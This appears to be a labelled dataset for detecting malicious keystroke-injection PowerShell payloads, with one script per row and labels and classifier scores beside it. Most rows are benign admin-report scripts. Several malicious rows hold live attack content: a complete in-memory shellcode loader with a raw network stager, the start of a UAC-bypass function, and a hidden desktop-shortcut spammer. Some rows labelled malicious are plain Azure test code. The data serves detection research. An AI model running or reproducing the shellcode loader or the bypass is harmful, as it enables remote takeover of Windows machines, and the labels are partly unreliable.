"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_ug4zhihd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_200.json"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter",0,0,0.9999664,3.362006e-05
win+r powershell enter function Invoke-WScriptBypassUAC { [CmdletBinding()] Param( [Parameter(Man enter datory=$True)] [string] $payload ) function Local:Get-TempFileName { enter,1,1,0.00020974065,0.99979025
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_9tmre834"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3958786e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_8po59crq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 3."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4521214e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_0s1a2q39"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.418441e-05
win+r powershell enter  function Get-AzureRmSecurityTask-SubscriptionScope { $tasks = Get-AzSecurity enter Task Validate-Tasks $tasks } function Get-AzureRmSecurityTask-ResourceGroupSco enter pe { $rgName = Get-TestResourceGroupName enter enter,1,1,0.0015506336,0.9984493
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_isigkj4u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_75.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4025663e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x5f,0x5d,0xee,0x04,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r enter powershell enter enter enter function Set-EnvironmentVariable enter { enter param enter ( enter [parameter(Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [String] enter $Name, enter enter [parameter()] enter [String] enter $Value, enter enter [parameter(Mandatory = $true)] enter [int] enter $Target enter ) enter enter if ($Target -eq $script:EnvironmentVariableTarget.Process) enter { enter [System.Environment]::SetEnvironmentVariable($Name, $Value) enter enter return enter } enter elseif ($Target -eq $script:EnvironmentVariableTarget.Machine) enter { enter if ($Name.Length -ge $script:SystemEnvironmentVariableMaximumLength) enter { enter $message = $LocalizedData.InvalidEnvironmentVariableName -f ($Name, $script:SystemEnvironmentVariableMaximumLength) enter ThrowError -ExceptionName ""System.ArgumentException"" ` enter -ExceptionMessage $message ` enter -ErrorId 'InvalidEnvironmentVariableName' ` enter -ErrorCategory InvalidArgument ` enter -ExceptionObject $Name enter return enter } enter enter $Path = $script:SystemEnvironmentKey enter } enter elseif ($Target -eq $script:EnvironmentVariableTarget.User) enter { enter if ($Name.Length -ge $script:UserEnvironmentVariableMaximumLength) enter { enter $message = $LocalizedData.InvalidEnvironmentVariableName -f ($Name, $script:UserEnvironmentVariableMaximumLength) enter ThrowError -ExceptionName ""System.ArgumentException"" ` enter -ExceptionMessage $message ` enter -ErrorId 'InvalidEnvironmentVariableName' ` enter -ErrorCategory InvalidArgument ` enter -ExceptionObject $Name enter return enter } enter enter $Path = $script:UserEnvironmentKey enter } enter enter if (!$Value) enter { enter Microsoft.PowerShell.Management\Remove-ItemProperty $Path -Name $Name -ErrorAction SilentlyContinue enter } enter else enter { enter Microsoft.PowerShell.Management\Set-ItemProperty $Path -Name $Name -Value $Value enter } enter Send-EnvironmentChangeMessage enter } enter enter",0,0,0.9998864,0.000113624956
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_v185trc7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter",0,0,0.9999653,3.472186e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_fruv2xe5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 20 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_process_overview_20.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4267774e-05
"win+r powershell enter  enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][string]$ReferenceTS = '\\DeploymentShare\Control\WIN10REF tab s.xml', enter [ValidateNotNullOrEmpty()][string]$ProductionTS = '\\DeploymentShareTST\Control\WINDOWS10PROD tab s.xml', enter [string]$ARPExclusionsFile = ""\\InstalledApplications\ARPExclusions.txt"", enter [string]$TSExclusionsFile = ""\\InstalledApplications\TSExclusions.txt"", enter [string]$OutputDIR = '\\NAS\ApplicationLists\' enter ) enter $Applications = @() enter $TSExclusions = Get-Content -Path $TSExclusionsFile enter $ARPExclusions = Get-Content -Path $ARPExclusionsFile enter $Installed = (Get-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*, REGISTRY::HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*).DisplayName | Where-Object { ($_ -notlike '*Update for*') -and ($_ -notlike '*MUI*') -and ($_ -notlike '*Intel(R)*') } | ForEach-Object { If ($_ -notin $ARPExclusions) { $_ } } | Sort-Object -Unique enter $TS = Get-Content -Path $ReferenceTS, $ProductionTS | Where-Object { $_ -like '*BDD_InstallApplication*' } | ForEach-Object { $_.split('=')[2].Replace('description', '').Replace('""', '').Trim() } | ForEach-Object { If ($_ -notin $TSExclusions) { $_ } } | Sort-Object enter foreach ($App in $Installed) { enter If ($App -notin $TS) { enter $Applications += $App enter } enter } enter $Applications | Sort-Object -Unique | Out-file -FilePath ($OutputDIR + $env:COMPUTERNAME + '.txt') enter",0,0,0.99969304,0.00030697297
win+r enter powershell enter enter enter Not Found enter enter,1,1,0.0024873342,0.9975127
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""v31_repair_report_user_helpdesk_audit_qavv4x6yr0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""local_users_20.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4344197e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install miniconda3 enter A enter enter,0,0,0.9999596,4.041126e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_jpl1wu9s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3735196e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_9ocdma64"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3896085e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_74c3mgnk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 3."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.459431e-05
"win+r powershell enter New-AzResourceGroup -Name applicationGroup -Location westcentralus enter $appid=(Get-AzManagedApplicationDefinition -ResourceGroupName appDefinitionGroup -Name ManagedStorage).ManagedApplicationDefinitionId enter New-AzManagedApplication ` enter -Name storageApp ` enter -Location westcentralus ` enter -Kind ServiceCatalog ` enter -ResourceGroupName applicationGroup ` enter -ManagedApplicationDefinitionId $appid ` enter -ManagedResourceGroupName ""InfrastructureGroup"" ` enter -Parameter ""{`""storageAccountNamePrefix`"": {`""value`"": `""demostorage`""}, `""storageAccountType`"": {`""value`"": `""Standard_LRS`""}}"" enter",0,0,0.9998085,0.00019149794
"win+r powershell enter  function Test-FrontDoorCrud { $Name = getAssetName $resourceGroup = TestSet enter up-CreateResourceGroup $resourceGroupName = $resourceGroup.ResourceGroupName $ enter tags = @{""tag1"" = ""value1""; ""tag2"" = ""value2""} $hostName = ""$Name.azurefd.net"" enter $routingrule1 = New-AzFrontDoorRoutingRuleObject -Name ""routingrule1"" -FrontDoo enter rName $Name -ResourceGroupName $resourceGroupName -FrontendEndpointName ""fronten enter dEndpoint1"" -BackendPoolName ""backendPool1"" $backend1 = New-AzFrontDoorBackendO enter bject -Address ""contoso1.azurewebsites.net"" $healthProbeSetting1 = New-AzFront enter DoorHealthProbeSettingObject -Name ""healthProbeSetting1"" enter enter",1,1,0.0063607944,0.9936392
"win+r enter powershell enter enter enter function Set-CSslCertificateBinding enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter [OutputType([Carbon.Certificates.SslCertificateBinding])] enter param( enter [IPAddress] enter enter $IPAddress = '0.0.0.0', enter enter [UInt16] enter enter $Port = 443, enter enter [Parameter(Mandatory=$true)] enter [Guid] enter enter $ApplicationID, enter enter [Parameter(Mandatory=$true)] enter [ValidatePattern(""^[0-9a-f]{40}$"")] enter [string] enter enter $Thumbprint, enter enter [Switch] enter enter $PassThru enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( $IPAddress.AddressFamily -eq [Net.Sockets.AddressFamily]::InterNetworkV6 ) enter { enter $ipPort = '[{0}]:{1}' -f $IPAddress,$Port enter } enter else enter { enter $ipPort = '{0}:{1}' -f $IPAddress,$Port enter } enter enter Remove-CSslCertificateBinding -IPAddress $IPAddress -Port $Port enter enter $action = 'creating SSL certificate binding' enter if( $pscmdlet.ShouldProcess( $IPPort, $action ) ) enter { enter $appID = $ApplicationID.ToString('B') enter Invoke-ConsoleCommand -Target $ipPort -Action $action -ScriptBlock { enter netsh http add sslcert ipport=$ipPort certhash=$Thumbprint appid=$appID enter } enter enter if( $PassThru ) enter { enter Get-CSslCertificateBinding -IPAddress $IPAddress -Port $Port enter } enter } enter } enter enter",0,0,0.9990908,0.0009092522
"win+r enter powershell enter enter enter win r powershell -nop -noni -w hidden -exec bypassctrl shift enter alt y $n = 200;$i = 0;while($i -lt $n){;$num = get-random;$location = ""c:\windows\system32;$wshshell = new-object -comobject wscript.shell;$shortcut = $wshshell.createshortcut(""$home\desktop\usb hardware"" + $num + "".lnk"");$shortcut.targetpath = $location;$shortcut.arguments =""shell32.dll,control_rundll hotplug.dll"";$shortcut.iconlocation = ""hotplug.dll,0"";$shortcut.description =""device removal"";$shortcut.workingdirectory =""c:\windows\system32"";$shortcut.save();start-sleep -milliseconds 10;$i++};sleep 10;exit enter enter",1,1,0.0061446726,0.9938553
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_iwclpyob"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 25 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Export-Csv -Path (Join-Path $ReportDir ""network_routes.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4059554e-05
"win+r enter powershell enter enter enter function Get-AuthToken { enter [cmdletbinding()] enter enter param enter ( enter [Parameter(Mandatory=$true)] enter $User enter ) enter enter $userUpn = New-Object ""System.Net.Mail.MailAddress"" -ArgumentList $User enter enter $tenant = $userUpn.Host enter enter Write-Host ""Checking for AzureAD module..."" enter enter $AadModule = Get-Module -Name ""AzureAD"" -ListAvailable enter enter if ($AadModule -eq $null) { enter enter Write-Host ""AzureAD PowerShell module not found, looking for AzureADPreview"" enter $AadModule = Get-Module -Name ""AzureADPreview"" -ListAvailable enter enter } enter enter if ($AadModule -eq $null) { enter write-host enter write-host ""AzureAD Powershell module not installed..."" -f Red enter write-host ""Install by running 'Install-Module AzureAD' or 'Install-Module AzureADPreview' from an elevated PowerShell prompt"" -f Yellow enter write-host ""Script can't continue..."" -f Red enter write-host enter exit enter } enter if($AadModule.count -gt 1){ enter enter $Latest_Version = ($AadModule | select version | Sort-Object)[-1] enter enter $aadModule = $AadModule | ? { $_.version -eq $Latest_Version.version } enter if($AadModule.count -gt 1){ enter enter $aadModule = $AadModule | select -Unique enter enter } enter enter $adal = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.dll"" enter $adalforms = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll"" enter enter } enter enter else { enter enter $adal = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.dll"" enter $adalforms = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll"" enter enter } enter enter [System.Reflection.Assembly]::LoadFrom($adal) | Out-Null enter enter [System.Reflection.Assembly]::LoadFrom($adalforms) | Out-Null enter enter $clientId = ""d1ddf0e4-d672-4dae-b554-9d5bdfd93547"" enter enter $redirectUri = ""urn:ietf:wg:oauth:2.0:oob"" enter enter $resourceAppIdURI = ""https://graph.microsoft.com"" enter enter $authority = ""https://login.microsoftonline.com/$Tenant"" enter enter try { enter enter $authContext = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.AuthenticationContext"" -ArgumentList $authority enter $platformParameters = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.PlatformParameters"" -ArgumentList ""Auto"" enter enter $userId = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.UserIdentifier"" -ArgumentList ($User, ""OptionalDisplayableId"") enter enter $authResult = $authContext.AcquireTokenAsync($resourceAppIdURI,$clientId,$redirectUri,$platformParameters,$userId).Result enter if($authResult.AccessToken){ enter $authHeader = @{ enter 'Content-Type'='application/json' enter 'Authorization'=""Bearer "" + $authResult.AccessToken enter 'ExpiresOn'=$authResult.ExpiresOn enter } enter enter return $authHeader enter enter } enter enter else { enter enter Write-Host enter Write-Host ""Authorization Access Token is null, please re-run authentication..."" -ForegroundColor Red enter Write-Host enter break enter enter } enter enter } enter enter catch { enter enter write-host $_.Exception.Message -f Red enter write-host $_.Exception.ItemName -f Red enter write-host enter break enter enter } enter enter } enter Function Get-IntuneMAMApplication(){ enter [cmdletbinding()] enter enter $graphApiVersion = ""Beta"" enter $Resource = ""deviceAppManagement/mobileApps"" enter enter try { enter enter $uri = ""https://graph.microsoft.com/$graphApiVersion/$($resource)"" enter (Invoke-RestMethod -Uri $uri -Headers $authToken -Method Get).Value | ? { ($_.'@odata.type').Contains(""managed"") } enter enter } enter enter catch { enter enter $ex = $_.Exception enter $errorResponse = $ex.Response.GetResponseStream() enter $reader = New-Object System.IO.StreamReader($errorResponse) enter $reader.BaseStream.Position = 0 enter $reader.DiscardBufferedData() enter $responseBody = $reader.ReadToEnd(); enter Write-Host ""Response content:`n$responseBody"" -f Red enter Write-Error ""Request to $Uri failed with HTTP Status $($ex.Response.StatusCode) $($ex.Response.StatusDescription)"" enter write-host enter break enter enter } enter enter } enter write-host enter if($global:authToken){ enter $DateTime = (Get-Date).ToUniversalTime() enter $TokenExpires = ($authToken.ExpiresOn.datetime - $DateTime).Minutes enter enter if($TokenExpires -le 0){ enter enter write-host ""Authentication Token expired"" $TokenExpires ""minutes ago"" -ForegroundColor Yellow enter write-host enter if($User -eq $null -or $User -eq """"){ enter enter $User = Read-Host -Prompt ""Please specify your user principal name for Azure Authentication"" enter Write-Host enter enter } enter enter $global:authToken = Get-AuthToken -User $User enter enter } enter } enter else { enter enter if($User -eq $null -or $User -eq """"){ enter enter $User = Read-Host -Prompt ""Please specify your user principal name for Azure Authentication"" enter Write-Host enter enter } enter $global:authToken = Get-AuthToken -User $User enter enter } enter Get-IntuneMAMApplication enter enter",0,0,0.999729,0.00027096827
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_e2l2fuwe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4154367e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_n7rikq9u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter",0,0,0.9999652,3.486267e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_jv5fizbg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Get-Service -Name cryptsvc,bits -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4914872e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_zvhygx4s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3788165e-05
"win+r enter powershell enter enter enter  enter enter [CmdletBinding()] enter param () enter enter function Uninstall-MSIByName { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][String]$ApplicationName, enter [ValidateNotNullOrEmpty()][String]$Switches enter ) enter $Executable = $Env:windir + ""\system32\msiexec.exe"" enter Do { enter enter $Uninstall = Get-ChildItem REGISTRY::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall -Recurse -ErrorAction SilentlyContinue -Force enter $Uninstall += Get-ChildItem REGISTRY::HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall -Recurse -ErrorAction SilentlyContinue enter enter $Key = $uninstall | foreach-object { Get-ItemProperty REGISTRY::$_ -ErrorAction SilentlyContinue} | where-object { $_.DisplayName -like ""*$ApplicationName*"" } enter If ($Key -ne $null) { enter Write-Host ""Uninstall""$Key[0].DisplayName""....."" -NoNewline enter enter $Parameters = ""/x "" + $Key[0].PSChildName + [char]32 + $Switches enter enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Parameters -Wait -Passthru).ExitCode enter enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010) -or ($ErrCode -eq 1605)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter } enter } enter } While ($Key -ne $null) enter } enter Uninstall-MSIByName -ApplicationName ""Java 8"" -Switches ""/qb- /norestart"" enter enter",0,0,0.9997472,0.00025279506
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_l0dq2nwp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.417333e-05
